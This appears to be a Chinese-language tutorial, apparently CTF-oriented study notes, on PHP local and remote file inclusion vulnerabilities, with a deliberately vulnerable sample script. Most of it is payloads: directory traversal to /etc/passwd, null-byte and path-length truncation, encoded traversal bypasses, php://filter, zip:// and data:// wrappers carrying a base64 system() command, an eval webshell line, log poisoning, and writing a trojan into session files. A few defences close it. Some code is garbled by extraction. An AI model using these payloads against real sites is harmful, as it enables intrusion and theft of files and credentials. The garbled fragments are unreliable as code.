文件包含是一个功能,当前文件可以包含外部文件进行引用,方便开发,可以看成类似导入模块、引用lib,dll等。
文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,没有对传入的文件名或路径进行合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
PHP
include() //在找不到被包含的文件时只会产生警告,脚本将继续执行。
require() //在找不到被包含的文件会产生致命错误,并停止脚本。
include_once() //文件只包含一次,如果已经包含则不再包含文件。
require_once() //文件只包含一次,如果已经包含则不再包含文件。
注. require()一般写在代码的开头。
当时有以上4个函数之一包含文件时,该文件将作为PHP代码执行,PHP内核并不会在意被包含文件的类型。
JSP/Servlet
ava.io.File()
java.io.FileReader()
…
ASP
include file
include virtual
当?file的参数值为PHP文件时:
1.文件被解析,则是文件包含漏洞
2.显示源代码,则是文件查看漏洞
3.提示下载,则是文件下载漏洞
举例:
1.php
<html>
<body>
echo "本地文件包含".'
';
$file=$_GET['file']; //"../../etc/passwd\0"
echo $file;
if(file_exists($file.'.php')){
echo '存在本地文件';
include($file.'.php');
}
?>
</body>
</html>
2.php
phpinfo();
?>
file变量可控
当我们传入参数时可以进行包含。
我们可以构造
…/…/etc/passwd
目录穿越读取敏感文件
但是我们还需解决后缀.php
,可在路径后面加上\0(%00)
截断
一般都可以禁用\0
正常用户用不上。
$value=str_replace("\0",'',$value);
但是可以绕过,利用操作系统对目录的最大长度限制,可以不需要0字节而达到截断的目的,windows下256字节,linux下14096字节时会达到最大。
././././././/abc
//abc
…/a/abc/…/a/abc/…a/abc
.
被过滤
可通过不同编码方式绕过
绕过服务端逻辑:
%2e%2e%2f 等价
../
%2e%2e/ 等价../
..%2f
等价../
%2e%2e%5c 等价..\
%2e%2e\ 等价..\
..%5c
等价..\
%252e%252e%255c 等价..\
..%255c
等价..\
某些web容器支持的编码方式
..%0c%af
等价../
..%c1%9c
等价..\
CVE-2008-2938 Tomcat
%c0%ae 等价../
设置open_basedir,其作用是限制在某个特定目录下PHP能打开的文件,防止目录穿越。
注意:
open_basedir的值是目录的前缀
open_basedir=/home/app/a
允许范围
open_basedir=/home/app/aaaa
open_basedir=/home/app/abc
open_basedir=/home/app/aaa1231
在某个目录下范围
open_basedir=/home/app/a/
通过枚举目录路径也可以
要求 allow_url_include设置为ON
payload:
?file=php://filter/convert.base64-encode/resource=flag.php
?file=php://filter/write=string.rot13/resource=2.php
post:先rot13加密。
编码绕过die(),后台在写入内容之前插入了die()函数,下面的payload是使用编码将die()函数编成乱码,后面的一句话编码成正常代码,从而绕过。
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
利用php编码绕过die(),将文件前面的代码打乱,将输入的代码变正常。
zip://协议
当通过zip://协议解析这个压缩文件时,会自动将这个zip文件按照压缩时的文件结构进行解析然后通过#(%23)+文件名的方式对zip内部所压缩的文件进行索引。
这时整个文件流被定位到x.php的文件流,即include实际包含的内容是x.php的内容。
payload:
?file=zip://uploads/xxxxx.png%23x&shell=phpinfo();
xxxxx.png(zipfile)
x.php=>""
要求 allow_url_include设置为ON
payload:绕过对输出内容过滤
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= -->
扩充:= e v a l ( eval( eval(_POST[“1”]);>
先 注意:有时候cat被过滤,可以查找其他读取命令如(tac,nl等)。
(抓包改包分析)(waf过滤了php://、data://等伪协议)
将User-agent头改为类似
发现报错后会写入日志。
在日志中包含(需要知道日志文件的路径)
nginx日志文件路径:
/var/log/nginx/access.log
访问日志文件路径,提交表单
POST:hack=
一般要求比较苛刻,session文件在/tmp目录下
利用session.upload_progress进行文件包含和反序列化渗透
当伪协被拦和文件后缀不可控时,可以用session.upload_progress进行文件包含绕过文件包含的waf。
当在上传文件时,用户端可以使用session.upload_progress函数进行查询上传进度,
我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要上传一个session文件,并且知道session文件的存放位置。
需要利用条件竞争:待补充…
要求 allow_url_include设置为ON
通过可控url包含远程文件(攻击者定义的文件)
如url后面有路径,可通过? 、%00
截断
前者是?
后面的代码被解释成url的querystring
后者是0字节截断
函数:fopen()、fread()、file_get_contens()等
目录穿越:
?file=../../../../../../etc/passwd
?file=../../../../../../../../etc/passwd%00(%00截断后面的路径)
?file=../index.php
?file:/// 伪协议 读取本地文件内容
?f=file:///etc/passwd
/proc/self/environ 获取当前进程的环境信息,进而进行恶意代码注入
/proc/$pid/ 获取当前进程的pid
当不知道目录下的文件名或有waf拦截时,
Windows下可以用通配符 *?
windows下对应正则通配符规则 ‘>’相当于‘?’;‘<’相当于‘*’;
‘"’相当于‘.’(注:*没有匹配数量限制,?有限制,一个?匹配一个字符)
1、禁止用户操作文件包含参数,写死
2、过滤./等,防止目录穿越
3、使用文件包含白名单,防止包含非预期文件
未完待续…